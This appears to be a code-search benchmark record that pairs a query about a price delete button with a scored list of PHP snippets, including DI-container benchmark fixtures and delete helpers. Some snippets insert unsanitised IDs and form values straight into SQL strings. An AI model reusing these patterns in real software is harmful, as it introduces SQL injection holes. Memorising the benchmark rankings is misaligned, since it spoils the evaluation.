\\DiContainerBenchmarks\\Fixture\\Class63(new \\DiContainerBenchmarks\\Fixture\\Class62(new \\DiContainerBenchmarks\\Fixture\\Class61(new \\DiContainerBenchmarks\\Fixture\\Class60(new \\DiContainerBenchmarks\\Fixture\\Class59(new \\DiContainerBenchmarks\\Fixture\\Class58(new \\DiContainerBenchmarks\\Fixture\\Class57(new \\DiContainerBenchmarks\\Fixture\\Class56(new \\DiContainerBenchmarks\\Fixture\\Class55(new \\DiContainerBenchmarks\\Fixture\\Class54(new \\DiContainerBenchmarks\\Fixture\\Class53(new \\DiContainerBenchmarks\\Fixture\\Class52(new \\DiContainerBenchmarks\\Fixture\\Class51(new \\DiContainerBenchmarks\\Fixture\\Class50(new \\DiContainerBenchmarks\\Fixture\\Class49(new \\DiContainerBenchmarks\\Fixture\\Class48(new \\DiContainerBenchmarks\\Fixture\\Class47(new \\DiContainerBenchmarks\\Fixture\\Class46(new \\DiContainerBenchmarks\\Fixture\\Class45(new \\DiContainerBenchmarks\\Fixture\\Class44(new \\DiContainerBenchmarks\\Fixture\\Class43(new \\DiContainerBenchmarks\\Fixture\\Class42(new \\DiContainerBenchmarks\\Fixture\\Class41(new \\DiContainerBenchmarks\\Fixture\\Class40(new \\DiContainerBenchmarks\\Fixture\\Class39(new \\DiContainerBenchmarks\\Fixture\\Class38(new \\DiContainerBenchmarks\\Fixture\\Class37(new \\DiContainerBenchmarks\\Fixture\\Class36(new \\DiContainerBenchmarks\\Fixture\\Class35(new \\DiContainerBenchmarks\\Fixture\\Class34(new \\DiContainerBenchmarks\\Fixture\\Class33(new \\DiContainerBenchmarks\\Fixture\\Class32(new \\DiContainerBenchmarks\\Fixture\\Class31(new \\DiContainerBenchmarks\\Fixture\\Class30(new \\DiContainerBenchmarks\\Fixture\\Class29(new \\DiContainerBenchmarks\\Fixture\\Class28(new \\DiContainerBenchmarks\\Fixture\\Class27(new \\DiContainerBenchmarks\\Fixture\\Class26(new \\DiContainerBenchmarks\\Fixture\\Class25(new \\DiContainerBenchmarks\\Fixture\\Class24(new \\DiContainerBenchmarks\\Fixture\\Class23(new \\DiContainerBenchmarks\\Fixture\\Class22(new \\DiContainerBenchmarks\\Fixture\\Class21(new \\DiContainerBenchmarks\\Fixture\\Class20(new \\DiContainerBenchmarks\\Fixture\\Class19(new \\DiContainerBenchmarks\\Fixture\\Class18(new \\DiContainerBenchmarks\\Fixture\\Class17(new \\DiContainerBenchmarks\\Fixture\\Class16(new \\DiContainerBenchmarks\\Fixture\\Class15(new \\DiContainerBenchmarks\\Fixture\\Class14(new \\DiContainerBenchmarks\\Fixture\\Class13(new \\DiContainerBenchmarks\\Fixture\\Class12(new \\DiContainerBenchmarks\\Fixture\\Class11(new \\DiContainerBenchmarks\\Fixture\\Class10(new \\DiContainerBenchmarks\\Fixture\\Class9(new \\DiContainerBenchmarks\\Fixture\\Class8(new \\DiContainerBenchmarks\\Fixture\\Class7(new \\DiContainerBenchmarks\\Fixture\\Class6(new \\DiContainerBenchmarks\\Fixture\\Class5(new \\DiContainerBenchmarks\\Fixture\\Class4(new \\DiContainerBenchmarks\\Fixture\\Class3(new \\DiContainerBenchmarks\\Fixture\\Class2(new \\DiContainerBenchmarks\\Fixture\\Class1())))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))));\n }", "title": "" }, { "docid": "e4bb4c3a1f802ba91c862dce9409a55e", "score": "0.6048607", "text": "protected function getClass6Service()\n {\n return new \\DiContainerBenchmarks\\Fixture\\Class6(new \\DiContainerBenchmarks\\Fixture\\Class5(new \\DiContainerBenchmarks\\Fixture\\Class4(new \\DiContainerBenchmarks\\Fixture\\Class3(new \\DiContainerBenchmarks\\Fixture\\Class2(new \\DiContainerBenchmarks\\Fixture\\Class1())))));\n }", "title": "" }, { "docid": "2461c62f389acec8d4f7514b7ad99736", "score": "0.60287243", "text": "protected function getClass92Service()\n {\n return new \\DiContainerBenchmarks\\Fixture\\Class92(new \\DiContainerBenchmarks\\Fixture\\Class91(new \\DiContainerBenchmarks\\Fixture\\Class90(new \\DiContainerBenchmarks\\Fixture\\Class89(new \\DiContainerBenchmarks\\Fixture\\Class88(new \\DiContainerBenchmarks\\Fixture\\Class87(new \\DiContainerBenchmarks\\Fixture\\Class86(new \\DiContainerBenchmarks\\Fixture\\Class85(new \\DiContainerBenchmarks\\Fixture\\Class84(new \\DiContainerBenchmarks\\Fixture\\Class83(new \\DiContainerBenchmarks\\Fixture\\Class82(new \\DiContainerBenchmarks\\Fixture\\Class81(new \\DiContainerBenchmarks\\Fixture\\Class80(new \\DiContainerBenchmarks\\Fixture\\Class79(new \\DiContainerBenchmarks\\Fixture\\Class78(new \\DiContainerBenchmarks\\Fixture\\Class77(new \\DiContainerBenchmarks\\Fixture\\Class76(new \\DiContainerBenchmarks\\Fixture\\Class75(new \\DiContainerBenchmarks\\Fixture\\Class74(new \\DiContainerBenchmarks\\Fixture\\Class73(new \\DiContainerBenchmarks\\Fixture\\Class72(new \\DiContainerBenchmarks\\Fixture\\Class71(new \\DiContainerBenchmarks\\Fixture\\Class70(new \\DiContainerBenchmarks\\Fixture\\Class69(new \\DiContainerBenchmarks\\Fixture\\Class68(new \\DiContainerBenchmarks\\Fixture\\Class67(new \\DiContainerBenchmarks\\Fixture\\Class66(new \\DiContainerBenchmarks\\Fixture\\Class65(new \\DiContainerBenchmarks\\Fixture\\Class64(new \\DiContainerBenchmarks\\Fixture\\Class63(new \\DiContainerBenchmarks\\Fixture\\Class62(new \\DiContainerBenchmarks\\Fixture\\Class61(new \\DiContainerBenchmarks\\Fixture\\Class60(new \\DiContainerBenchmarks\\Fixture\\Class59(new \\DiContainerBenchmarks\\Fixture\\Class58(new \\DiContainerBenchmarks\\Fixture\\Class57(new \\DiContainerBenchmarks\\Fixture\\Class56(new \\DiContainerBenchmarks\\Fixture\\Class55(new \\DiContainerBenchmarks\\Fixture\\Class54(new \\DiContainerBenchmarks\\Fixture\\Class53(new \\DiContainerBenchmarks\\Fixture\\Class52(new \\DiContainerBenchmarks\\Fixture\\Class51(new \\DiContainerBenchmarks\\Fixture\\Class50(new \\DiContainerBenchmarks\\Fixture\\Class49(new \\DiContainerBenchmarks\\Fixture\\Class48(new \\DiContainerBenchmarks\\Fixture\\Class47(new \\DiContainerBenchmarks\\Fixture\\Class46(new \\DiContainerBenchmarks\\Fixture\\Class45(new \\DiContainerBenchmarks\\Fixture\\Class44(new \\DiContainerBenchmarks\\Fixture\\Class43(new \\DiContainerBenchmarks\\Fixture\\Class42(new \\DiContainerBenchmarks\\Fixture\\Class41(new \\DiContainerBenchmarks\\Fixture\\Class40(new \\DiContainerBenchmarks\\Fixture\\Class39(new \\DiContainerBenchmarks\\Fixture\\Class38(new \\DiContainerBenchmarks\\Fixture\\Class37(new \\DiContainerBenchmarks\\Fixture\\Class36(new \\DiContainerBenchmarks\\Fixture\\Class35(new \\DiContainerBenchmarks\\Fixture\\Class34(new \\DiContainerBenchmarks\\Fixture\\Class33(new \\DiContainerBenchmarks\\Fixture\\Class32(new \\DiContainerBenchmarks\\Fixture\\Class31(new \\DiContainerBenchmarks\\Fixture\\Class30(new \\DiContainerBenchmarks\\Fixture\\Class29(new \\DiContainerBenchmarks\\Fixture\\Class28(new \\DiContainerBenchmarks\\Fixture\\Class27(new \\DiContainerBenchmarks\\Fixture\\Class26(new \\DiContainerBenchmarks\\Fixture\\Class25(new \\DiContainerBenchmarks\\Fixture\\Class24(new \\DiContainerBenchmarks\\Fixture\\Class23(new \\DiContainerBenchmarks\\Fixture\\Class22(new \\DiContainerBenchmarks\\Fixture\\Class21(new \\DiContainerBenchmarks\\Fixture\\Class20(new \\DiContainerBenchmarks\\Fixture\\Class19(new \\DiContainerBenchmarks\\Fixture\\Class18(new \\DiContainerBenchmarks\\Fixture\\Class17(new \\DiContainerBenchmarks\\Fixture\\Class16(new \\DiContainerBenchmarks\\Fixture\\Class15(new \\DiContainerBenchmarks\\Fixture\\Class14(new \\DiContainerBenchmarks\\Fixture\\Class13(new \\DiContainerBenchmarks\\Fixture\\Class12(new \\DiContainerBenchmarks\\Fixture\\Class11(new \\DiContainerBenchmarks\\Fixture\\Class10(new \\DiContainerBenchmarks\\Fixture\\Class9(new \\DiContainerBenchmarks\\Fixture\\Class8(new \\DiContainerBenchmarks\\Fixture\\Class7(new \\DiContainerBenchmarks\\Fixture\\Class6(new \\DiContainerBenchmarks\\Fixture\\Class5(new \\DiContainerBenchmarks\\Fixture\\Class4(new \\DiContainerBenchmarks\\Fixture\\Class3(new \\DiContainerBenchmarks\\Fixture\\Class2(new \\DiContainerBenchmarks\\Fixture\\Class1())))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))));\n }", "title": "" }, { "docid": "4c0634a89493645b0184101fd0cb2491", "score": "0.6019606", "text": "protected function getClass14Service()\n {\n return new \\DiContainerBenchmarks\\Fixture\\Class14(new \\DiContainerBenchmarks\\Fixture\\Class13(new \\DiContainerBenchmarks\\Fixture\\Class12(new \\DiContainerBenchmarks\\Fixture\\Class11(new \\DiContainerBenchmarks\\Fixture\\Class10(new \\DiContainerBenchmarks\\Fixture\\Class9(new \\DiContainerBenchmarks\\Fixture\\Class8(new \\DiContainerBenchmarks\\Fixture\\Class7(new \\DiContainerBenchmarks\\Fixture\\Class6(new \\DiContainerBenchmarks\\Fixture\\Class5(new \\DiContainerBenchmarks\\Fixture\\Class4(new \\DiContainerBenchmarks\\Fixture\\Class3(new \\DiContainerBenchmarks\\Fixture\\Class2(new \\DiContainerBenchmarks\\Fixture\\Class1())))))))))))));\n }", "title": "" }, { "docid": "00304bd8d4a30c4b15708afbe3b13a5f", "score": "0.59515655", "text": "protected function getClass8Service()\n {\n return new \\DiContainerBenchmarks\\Fixture\\Class8(new \\DiContainerBenchmarks\\Fixture\\Class7(new \\DiContainerBenchmarks\\Fixture\\Class6(new \\DiContainerBenchmarks\\Fixture\\Class5(new \\DiContainerBenchmarks\\Fixture\\Class4(new \\DiContainerBenchmarks\\Fixture\\Class3(new \\DiContainerBenchmarks\\Fixture\\Class2(new \\DiContainerBenchmarks\\Fixture\\Class1())))))));\n }", "title": "" }, { "docid": "16f9f50667fa6a8e4b048882dbc6ca1a", "score": "0.59413487", "text": "protected function getClass22Service()\n {\n return new \\DiContainerBenchmarks\\Fixture\\Class22(new \\DiContainerBenchmarks\\Fixture\\Class21(new \\DiContainerBenchmarks\\Fixture\\Class20(new \\DiContainerBenchmarks\\Fixture\\Class19(new \\DiContainerBenchmarks\\Fixture\\Class18(new \\DiContainerBenchmarks\\Fixture\\Class17(new \\DiContainerBenchmarks\\Fixture\\Class16(new \\DiContainerBenchmarks\\Fixture\\Class15(new \\DiContainerBenchmarks\\Fixture\\Class14(new \\DiContainerBenchmarks\\Fixture\\Class13(new \\DiContainerBenchmarks\\Fixture\\Class12(new \\DiContainerBenchmarks\\Fixture\\Class11(new \\DiContainerBenchmarks\\Fixture\\Class10(new \\DiContainerBenchmarks\\Fixture\\Class9(new \\DiContainerBenchmarks\\Fixture\\Class8(new \\DiContainerBenchmarks\\Fixture\\Class7(new \\DiContainerBenchmarks\\Fixture\\Class6(new \\DiContainerBenchmarks\\Fixture\\Class5(new \\DiContainerBenchmarks\\Fixture\\Class4(new \\DiContainerBenchmarks\\Fixture\\Class3(new \\DiContainerBenchmarks\\Fixture\\Class2(new \\DiContainerBenchmarks\\Fixture\\Class1())))))))))))))))))))));\n }", "title": "" }, { "docid": "f690c60916703eb9a13a5f458db5bc28", "score": "0.5871287", "text": "protected function getClass9Service()\n {\n return new \\DiContainerBenchmarks\\Fixture\\Class9(new \\DiContainerBenchmarks\\Fixture\\Class8(new \\DiContainerBenchmarks\\Fixture\\Class7(new \\DiContainerBenchmarks\\Fixture\\Class6(new \\DiContainerBenchmarks\\Fixture\\Class5(new \\DiContainerBenchmarks\\Fixture\\Class4(new \\DiContainerBenchmarks\\Fixture\\Class3(new \\DiContainerBenchmarks\\Fixture\\Class2(new \\DiContainerBenchmarks\\Fixture\\Class1()))))))));\n }", "title": "" }, { "docid": "d9e2292e48b7a21b6e05c744a8298f5c", "score": "0.5861371", "text": "public function autowire( string $clazz, array|Closure $args = [] ) : object;", "title": "" }, { "docid": "f59abbc269f04627c747be92886e74c5", "score": "0.5831339", "text": "protected function getClass7Service()\n {\n return new \\DiContainerBenchmarks\\Fixture\\Class7(new \\DiContainerBenchmarks\\Fixture\\Class6(new \\DiContainerBenchmarks\\Fixture\\Class5(new \\DiContainerBenchmarks\\Fixture\\Class4(new \\DiContainerBenchmarks\\Fixture\\Class3(new \\DiContainerBenchmarks\\Fixture\\Class2(new \\DiContainerBenchmarks\\Fixture\\Class1()))))));\n }", "title": "" }, { "docid": "af80b108fdc45d12b18916e27936acb7", "score": "0.5828562", "text": "protected function getClass11Service()\n {\n return new \\DiContainerBenchmarks\\Fixture\\Class11(new \\DiContainerBenchmarks\\Fixture\\Class10(new \\DiContainerBenchmarks\\Fixture\\Class9(new \\DiContainerBenchmarks\\Fixture\\Class8(new \\DiContainerBenchmarks\\Fixture\\Class7(new \\DiContainerBenchmarks\\Fixture\\Class6(new \\DiContainerBenchmarks\\Fixture\\Class5(new \\DiContainerBenchmarks\\Fixture\\Class4(new \\DiContainerBenchmarks\\Fixture\\Class3(new \\DiContainerBenchmarks\\Fixture\\Class2(new \\DiContainerBenchmarks\\Fixture\\Class1()))))))))));\n }", "title": "" }, { "docid": "9bfa117125e4680cc58db1d592dc221c", "score": "0.5768612", "text": "protected function getClass12Service()\n {\n return new \\DiContainerBenchmarks\\Fixture\\Class12(new \\DiContainerBenchmarks\\Fixture\\Class11(new \\DiContainerBenchmarks\\Fixture\\Class10(new \\DiContainerBenchmarks\\Fixture\\Class9(new \\DiContainerBenchmarks\\Fixture\\Class8(new \\DiContainerBenchmarks\\Fixture\\Class7(new \\DiContainerBenchmarks\\Fixture\\Class6(new \\DiContainerBenchmarks\\Fixture\\Class5(new \\DiContainerBenchmarks\\Fixture\\Class4(new \\DiContainerBenchmarks\\Fixture\\Class3(new \\DiContainerBenchmarks\\Fixture\\Class2(new \\DiContainerBenchmarks\\Fixture\\Class1())))))))))));\n }", "title": "" }, { "docid": "58af170ab0ae0e7725188328f0a2a825", "score": "0.57655346", "text": "protected function getClass10Service()\n {\n return new \\DiContainerBenchmarks\\Fixture\\Class10(new \\DiContainerBenchmarks\\Fixture\\Class9(new \\DiContainerBenchmarks\\Fixture\\Class8(new \\DiContainerBenchmarks\\Fixture\\Class7(new \\DiContainerBenchmarks\\Fixture\\Class6(new \\DiContainerBenchmarks\\Fixture\\Class5(new \\DiContainerBenchmarks\\Fixture\\Class4(new \\DiContainerBenchmarks\\Fixture\\Class3(new \\DiContainerBenchmarks\\Fixture\\Class2(new \\DiContainerBenchmarks\\Fixture\\Class1())))))))));\n }", "title": "" }, { "docid": "17e8f8d8b4e1bfab8d7be758f56a2f11", "score": "0.57008326", "text": "protected function getClass2Service()\n {\n return new \\DiContainerBenchmarks\\Fixture\\Class2(new \\DiContainerBenchmarks\\Fixture\\Class1());\n }", "title": "" } ]
415d2d119d8ea162706006e9dcaed4ef
Creates a delete button that is assigned to a price. If the button is pressed the price will be deleted from the article
[ { "docid": "5ba27b2a5a26e5bcc5c69fc0a752dde3", "score": "0.6907742", "text": "function deletePriceButton($PA, $fObj)\t{\n\t\t\t// get the return URL.This is need to fit all possible combinations of GET vars\n\t\t$returnUrl = explode('/', $fObj->returnUrl);\n\t\t$returnUrl = $returnUrl[(count($returnUrl) -1)];\n\n\t\t\t// get the UID of the price\n\t\t$name = explode('caption_', $PA['itemFormElName']);\n\t\t$name = explode(']', $name[1]);\n\t\t$pUid = $name[0];\n\n\t\t\t// build the link code\n\t\t$result = '<a href=\"#\" onclick=\"deleteRecord(\\'tx_commerce_article_prices\\', ' .$pUid .', \\'' .$returnUrl .'\\');\">';\n\t\t$result .= '<img src=\"../typo3/gfx/garbage.gif\" border=\"0\" />';\n\t\t$result .= $GLOBALS['LANG']->sL('LLL:EXT:commerce/locallang_be.php:articles.del_article_price', 1).'</a>';\n\n\t\treturn $result;\n\t}", "title": "" } ]
[ { "docid": "d3bc021130d35a41c8c04888641dcc43", "score": "0.6220598", "text": "public static function echo_delete_button(\n $obj_editor_uri, $tablename_no_quotes, $primary_key\n ) {\n $url = self::get_delete_url(\n $obj_editor_uri, $tablename_no_quotes, $primary_key\n );\n?>\n <td class=\"action_cell\">\n <a class=\"row_delete_button link\"\n target=\"_blank\"\n onclick=\"hit_url_and_rm_row_from_ui(this, event, '<?= $url ?>')\"\n >\n delete\n </a>\n </td>\n<?php\n }", "title": "" }, { "docid": "6562309b5eea4421bd10d99552e982f2", "score": "0.6216123", "text": "function btnDelete($item,$pristup,$name){\n\t\t\n\t\tglobal $hodnoceni;\n\t\t$dis = \"\";\n\t\t\n\t\t//znemoznení smazani zverejneného případně recenzovaného clanku\n\t\tif($pristup != $hodnoceni[\"zpracovava\"] && $pristup != $hodnoceni[\"odmitnuto\"] ){\n\t\t\t$dis= \"disabled='disabled'\";\n\t\t}\n\t\t\n\t\t\n\t\t$pom = \"<td>\";\n\t\t$pom .=\"<form action = '' method = 'POST' id= delete>\";\n\t\t$pom .=\t\t\"<input type = 'hidden' name = 'jmenoS' value = \" .$name .\">\";\n\t\t$pom .=\t\t\"<input type = 'hidden' name = 'idClanku' value= \" . $item.\">\";\n\t\t$pom .= \t\"<input type = 'submit' class='btn btn-danger btn-ms ' \".$dis.\" name = 'action' value = 'Delete'>\";\n\t\t$pom .=\"</form></td>\";\n\t\t\n\t\treturn $pom;\n\t}", "title": "" }, { "docid": "6233a831df0676e75936350431771d63", "score": "0.6200787", "text": "function deletePrice($action) {\n\n\t\tif(count($action) == 3) {\n\n\t\t\t$query = new Query();\n\t\t\t$item_id = $action[1];\n\t\t\t$price_id = $action[2];\n\n\t\t\t$sql = \"DELETE FROM \".UT_ITEMS_PRICES.\" WHERE item_id = $item_id AND id = $price_id\";\n\t\t\tif($query->sql($sql)) {\n\t\t\t\tmessage()->addMessage(\"Price deleted\");\n\t\t\t\treturn true;\n\t\t\t}\n\n\t\t}\n\n\t\tmessage()->addMessage(\"Price could not be deleted\", array(\"type\" => \"error\"));\n\t\treturn false;\n\t}", "title": "" }, { "docid": "9b85c3ad9f8f25f77d7b33ea9f9d2e70", "score": "0.61325955", "text": "function _build_delete_button($caption=RAPYD_BUTTON_DELETE){\n\t\tif ($this->_status == 'show' && $this->rapyd->uri->is_set('show')){\n\t\t\t$delete_uri = $this->rapyd->uri->change_clause($this->rapyd->uri->uri_array, 'show', 'delete');\n\t\t\t$action = 'javascript:window.location=\\''.site_url($delete_uri) . '\\'';\n\t\t\t$this->button('btn_delete', $caption, $action, 'TR');\n\t\t} elseif($this->_status == 'delete') {\n\t\t\t$action = 'javascript:window.location=\\'' . site_url($this->_process_uri) . '\\'';\n\t\t\t$this->button('btn_delete', $caption, $action, 'BL');\n\t\t}\n\t}", "title": "" }, { "docid": "5ba4555c4703bfae6c177dc00502f12c", "score": "0.60663867", "text": "function btnDelete($item){\n\t\t\n\t\t$pom = \"\";\n\t\t\n\t\t$pom .=\"<td>\";\n\t\t$pom .=\t\"<form action='' method='POST' id= 'delete'>\";\n\t\t$pom .=\t\t\"<input type='hidden' name= 'delete' value = \". $item.\">\";\n\t\t$pom .=\t\t\"<input type='submit' class='btn btn-danger btn-ms' name = 'action' value = 'Delete'>\";\n\t\t$pom .=\t\"</form></td>\";\n\t\t\n\t\treturn $pom;\n\t\t \n\t}", "title": "" }, { "docid": "a20570632975cdfb2cd63ddd069710a7", "score": "0.6057966", "text": "protected function renderDeleteButton()\n\t{\n\t\t$modelName = $this->getModelName();\n\t\t$pkParams = array($modelName => is_array($this->data->getPrimaryKey()) ? $this->data->getPrimaryKey() : array($this->data->getTableSchema()->primaryKey => $this->data->getPrimaryKey()));\n\t\t\n\t\techo CHtml::button(\n\t\t\t\tTranslateModule::translate('Delete'),\n\t\t\t\tarray(\n\t\t\t\t\t'onClick' => 'if(confirm(\"'.TranslateModule::translate('You are about to delete this record. All related records will also be deleted. Are you sure that you would like to continue?').'\")){'.\n\t\t\t\t\t\t'document.location.href = \"'.$this->getController()->createUrl($modelName.'/delete', $pkParams).'\";'.\n\t\t\t\t\t'}'\n\t\t\t\t)\n\t\t);\n\t}", "title": "" }, { "docid": "44d7351b75f91debb45ad08e93a10687", "score": "0.60363305", "text": "private function createDeleteForm(Prices $price)\n {\n return $this->createFormBuilder()\n ->setAction($this->generateUrl('prices_delete', array('id' => $price->getId())))\n ->setMethod('DELETE')\n ->getForm()\n ;\n }", "title": "" }, { "docid": "40cff9cbea8f4d52e62c26f053dde304", "score": "0.6019285", "text": "function delete_button( $element_id ) {\n\t\treturn '<span class=\"delete-button\" id=\"' . $element_id . '\"/>';\n\t}", "title": "" }, { "docid": "720ce52f6bbabd1d206868c852e1d701", "score": "0.59734267", "text": "public function deleted(Productprice $productprice)\n {\n //\n }", "title": "" }, { "docid": "83fbf0dea8e703f3575ede73ef110fc6", "score": "0.5956694", "text": "public function deleteOptionButton()\n {\n $fieldID = $this->fieldId;\n\n /** @var \\app\\modules\\testnay\\Yii2form $module */\n $module = \\Yii::$app->controller->module;\n\n return function($url, $model) use ($fieldID, $module){\n $url = \\Yii::$app->urlManager->createUrl([\"{$module->id}/options/delete-option\", 'option_id'=>$model->id]);\n return Html::a(\n '<span class=\"glyphicon glyphicon-remove\" data-url=\"'.$url.'\" data-field-id=\"'.$fieldID.'\" data-option-id=\"'.$model->id.'\"></span>',\n $url);\n };\n }", "title": "" }, { "docid": "dc8ba83c07a69adfa81355b485921ee4", "score": "0.59547424", "text": "function paperDelBtn ($paperid,$type=3) {\n\t\t$iconpath=JURI::base( true ).DS.'components'.DS.'com_confmgt'.DS.'assets'.DS.'images'.DS.'icons'.DS;\n\t\tif ( $type==1 ) {\n\t\t\t$button= \"<button type='submit' name='del' class='genBtn' onclick='deleteconfirmation(\".$paperid.\");'>\".\n\t\t\t\"<span class='delete'>Delete</span>\".\n\t\t\t\"</button>\";\n\t\t}else if ($type == 2){\n\t\t\t$button= \"<input type='submit' class='button' name='del' value='Delete' onclick='deleteconfirmation(\".$paperid.\");' />\";\n\t\t}else{\n\t\t\t$button= \"<input type='image' src='\".$iconpath.\"cancel_16.png' name='del' alt='Delete' title='Delete' onclick='deleteconfirmation(\".$paperid.\");' />\";\n\t\t}\n\t\t$html=\"<div class='btnFloatLeft'><form id='formdel\".\n\t\t$paperid.\"' name='formdel\".\n\t\t$paperid.\"' method='post' action=\".JRoute::_('index.php').\" onsubmit='return false;'>\".\n\t\t\"<input name='option' value='com_confmgt' type='hidden'/>\".\n\t\t\"<input name='controller' value='confmgt' type='hidden'/>\".\n\t\t\"<input name='task' value='paperremove' type='hidden'/>\".\n\t\t\"<input type='hidden' class='button' name='paperid' value=\".$paperid.\" />\".\n\t\t$button.\n\t\tJHTML::_( 'form.token' ).\n\t\t\"</form></div>\";\n\treturn $html;\n\t}", "title": "" }, { "docid": "0edef3c64fc896a65e02d4d253235a0a", "score": "0.5885618", "text": "public function destroy(Price $price)\n {\n //\n }", "title": "" }, { "docid": "86da9d036dff63357d7cf8fa59affc33", "score": "0.5872395", "text": "public function destroy(Price $price)\n {\n //\n }", "title": "" }, { "docid": "5f2d9f6b05632a3288731ba4cdfc8c16", "score": "0.57713604", "text": "private function deleteButton()\n {\n if( !permission($this->model, 'interface') )\n return '';\n return Html::a(t('delete'), ['delete', 'id' => $this->model->id], [\n 'class' => 'btn btn-danger',\n 'data' => [\n 'confirm' => 'Are you sure you want to delete this item?',\n 'method' => 'post',\n ]\n ]);\n }", "title": "" }, { "docid": "bf454b47a67b1e57fdd6e65219fbbfc9", "score": "0.5761945", "text": "function ReallyDelete($articleId, $pageName)\n{\n BackendComponentPrinter::PrintHead(\"Inhaltsverwaltung\");\n //*----- Permissions ----- */\n /* Include(s) */\n require_once 'lib/Permission.enum.php';\n require_once 'config/config.php';\n \t\n BackendComponentPrinter::PrintSidebar($_SESSION['permissions']);\n //*----- Permissions End ----- */\n \n echo\n \"<body><main><form method='post' action='Articlemanagement.php'>\".\n \"<input id='articleId' name='articleId' type='hidden' value='\".$articleId.\"'><br><br>\".\n \"<input id='pageName' name='pageName' type='hidden' value='\".$pageName.\"'>\".\n \"<p>Möchten Sie wirklich löschen?</p>\".\n \"<p><img src='media/Pictures/Gnome-edit-delete.png' height='auto' width='250px'></p>\".\n \"<input id='reallyDelete' name='reallyDelete' type='submit' value='Löschen'>\";\n echo\n \"</form>\";\n echo\n \"<form method='post' action='Articlemanagement.php'><input id='back' name='back' type='submit' value='Zurück'>\".\n \"<input id='pageName' name='pageName' type='hidden' value='\".$pageName.\"'>\".\n \"<form>\";\n echo\n \"</main></body></html>\";\n\n}", "title": "" }, { "docid": "fa68e594df78dc9cad3b3d5ed8b61363", "score": "0.5745885", "text": "public static function addButttonDelete($action=\"#\"){\n ob_start();\n echo view('Core.MyDatatable.layout_button_delete', compact('action'));\n return ob_get_clean();\n }", "title": "" }, { "docid": "0d3dea24c752004f8db37ca69e915f63", "score": "0.5675028", "text": "public function btnDelete()\n {\n return view('viewers.user.buttons.delete', [\n 'user' => $this->entity,\n ]);\n }", "title": "" }, { "docid": "aea92e5b867cc25e8ea43e8818bf5d75", "score": "0.56618726", "text": "public function get_dialog_button_delete($model){\n\t\treturn sprintf('<button class=\"btn btn-danger btn-xs\" onclick=\"show_delete_dialog(%1$s,%2$s,\\'%3$s\\',\\'%4$s\\',\\'%5$s\\',\\'%6$s\\'\n\t\t\t\t\t ,\\'%7$s\\',\\'%8$s\\',\\'%9$s\\',\\'%10$s\\');\">Delete</button> ' ,\n\t\t\t\t\t\t\t$model->id,\n\t\t\t\t\t\t\t$model->idkalender ,\n\t\t\t\t\t\t\t$model->kalender->session->nama\t,\n\t\t\t\t\t\t\t$model->kalender->event->nama\t,\n\t\t\t\t\t\t\t$model->pelajaran->nama\t\t\t,\n\t\t\t\t\t\t\t$model->kelas->nama\t\t\t\t,\n\t\t\t\t\t\t\t$model->kalinilai\t\t\t\t,\n\t\t\t\t\t\t\t$model->minnilai\t\t\t\t,\n\t\t\t\t\t\t\t$model->pelaksanaan\t\t\t\t,\n\t\t\t\t\t\t\t$this->get_escape($model->catatan)\n\t\t\t\t\t\t\t);\n\t}", "title": "" }, { "docid": "caf2129f822cbed90ff794d2905a7653", "score": "0.56256473", "text": "function deletecontainerPrice($id) {\r\n\t\tglobal $objSmarty, $global_config;\r\n\r\n\t\t$strDelDetails = \"DELETE FROM tbl_container_prices WHERE id ='\".$id.\"'\";\r\n\t\t$this->DirectSQLDelete($strDelDetails, 0);\r\n\t}", "title": "" }, { "docid": "86aac21eb510beac0a208f9806271e3f", "score": "0.56150585", "text": "public function delete()\n\t{\n\t\t$deleted = Rating::deleteRating($_POST['id']);\n\t\t$view = new Renderer('views/rating/');\n\t\t$view->deleted = $deleted;\n\t\t$view->render('delete.php');\n\t}", "title": "" }, { "docid": "daa852e1b4643c854aa1c909b05f2671", "score": "0.5605387", "text": "public function deleteAction() : object\n {\n $page = $this->di->get(\"page\");\n $form = new DeleteForm($this->di);\n $form->check();\n\n $page->add(\"question/crud/delete\", [\n \"form\" => $form->getHTML(),\n ]);\n\n return $page->render([\n \"title\" => \"Delete an item\",\n ]);\n }", "title": "" }, { "docid": "c9554e5499b4f283c6fbb94900b68282", "score": "0.5588884", "text": "public function delete()\n\t{\n\n\n\t\tif (isset($_POST['submit'])) {\n\t\t\t$id = $_POST['id'];\n\n\t\t\t$this->query(\"DELETE FROM producto WHERE idProductos=$id\");\n\n\n\t\t\t$this->execute();\n\n\n\t\t\theader('Location: ' . ROOT_URL . 'crud');\n\t\t}\n\t\treturn;\n\t}", "title": "" }, { "docid": "9ff643c966016cf841c9de71ac012337", "score": "0.55670613", "text": "function delete() {\r\n \r\n }", "title": "" }, { "docid": "9a80a34ded89e9dd7ea93ce69eaf657b", "score": "0.55401194", "text": "public function deleteAction()\n {\n if (!$this->Request()->has('id')) {\n return;\n }\n $id = (int) $this->Request()->getParam('id');\n $product = $this->getRepository()->find($id);\n if (!$product instanceof Article) {\n return;\n }\n $this->removePrices($product->getId());\n $this->removeArticleEsd($product->getId());\n $this->removeArticleDetails($product);\n $this->removeArticleTranslations($product);\n\n Shopware()->Models()->remove($product);\n Shopware()->Models()->flush();\n $this->View()->assign([\n 'data' => $this->Request()->getParams(),\n 'success' => true,\n ]);\n }", "title": "" }, { "docid": "99102cd0ade47136f0d8de7388cf2008", "score": "0.5528956", "text": "public function getButtons( $url, $subnode=FALSE )\n\t{\n\t\t$buttons = parent::getButtons( $url, $subnode );\n\t\t\n\t\tif ( $this->canDelete() )\n\t\t{\n\t\t\t$buttons['delete'] = array(\n\t\t\t\t'icon'\t=> 'times-circle',\n\t\t\t\t'title'\t=> 'delete',\n\t\t\t\t'link'\t=> $url->setQueryString( array( 'do' => 'delete', 'id' => $this->_id ) ),\n\t\t\t\t'data'\t=> array( 'ipsDialog' => '', 'ipsDialog-title' => \\IPS\\Member::loggedIn()->language()->addToStack('delete') ),\n\t\t\t\t'hotkey'=> 'd'\n\t\t\t);\n\t\t}\n\t\treturn $buttons;\n\t}", "title": "" }, { "docid": "47354830cf7b5dc10ea14512ffc278df", "score": "0.55105686", "text": "function bt_simClick($sender, $params)\r\n {\r\n\r\n $Comando_SQL = \"delete from mgt_requisicoes_produtos \";\r\n $Comando_SQL .= \" where \";\r\n $Comando_SQL .= \"mgt_requisicao_produto_numero = '\" . trim($this->produto_remover_numero->Value) . \"' \";\r\n $Comando_SQL .= \"and 